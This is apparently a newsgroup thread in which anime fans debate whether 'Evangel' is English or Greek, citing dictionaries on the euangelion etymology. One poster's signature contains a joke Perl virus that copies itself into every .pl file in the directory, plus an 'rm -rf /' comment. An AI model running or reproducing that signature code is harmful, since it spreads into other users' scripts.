"The name Eva is thought to derive from "Eve",
wife of Adam in the Old Testament, and "Evangel",
the English word for "gospel"."
I am assuming that is just a typo, that it should be
"Greek" in there instead of "English". Can anyone
confirm this?
--
Michael Wignall
"Tomorrow's just an excuse away..."
Possibly, the greek term for the english word "gospel" is given as
"e?a??????" known as "evagkelio" as far as my source is concerned. Further
there is no entry in the ancient dictionary. Nor does "Evangel" show up in
the actual greek or ancient greek dictionary.
Source: http://www.kypros.org/cgi-bin/lexicon
--
Kind regards
Disaster
Disaster's Fan Fiction - http://www.disfanfic.net
JAE FAQ - http://www.evafaq.com
Pen^3's JAE FAQ - http://faq.pen3.cjb.net
Sorry the greek characters seem to be shy. Check out the source and enter
gospel in the english to greek translation and click find to have a look
at something you can't read anyway! ;)
> "The name Eva is thought to derive from "Eve", wife of Adam in the
> Old Testament, and "Evangel", the English word for "gospel"."
>
> I am assuming that is just a typo, that it should be "Greek" in
> there instead of "English". Can anyone confirm this?
"Evangel" is indeed English. This is what Webster's New Encyclopedic
Dictionary has about it:
gospel [Middle French evangile, from Late Latin evangelium, from Greek
euangelion "good news, gospel", from eu- + angelos "messager".
HTH
Josef 'Jupp' Schugt
Oh no, why didn't I notice it before? We call the "Evangelium" also
"Frohe Botschaft", and a "Botschaft" is a message, and an angel is a
messenger. So "evangelion" really contains the word "angel".
The Greek "euangelion" is also easy to separate because "eu" means good
(like in euphemism) and the other part of the word is "angelion".
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
I was referring to the translation of the End of Evangelion
Theatrical Program, rather than "Evangelion" itself.
I want to know whether the word "English" in that
translation is correct or not.
It's correct. I mean... It was in the original version.
Er... No, I doubt it. ^^;
They said something like that:
""Evangel" is the English word for "fukuin"".
What's the deal with "Fukuin" then? Mean something like "story" like
"Gospel" does?
"Fukuin" means "gospel".
I'm just saying that the "English word" part of the definition can't
refer to "fukuin" anyway, so it obviously refers to "evangel".
But Evangel is very similar to Evangelism which is spreading the gospel.
So the whole thing looks like it's trying to tell you a story.
... I wasn't talking about that at all, Disaster... ^^;
That doesn't surprise me a whole lot, I'm a little lost here anyway. ;)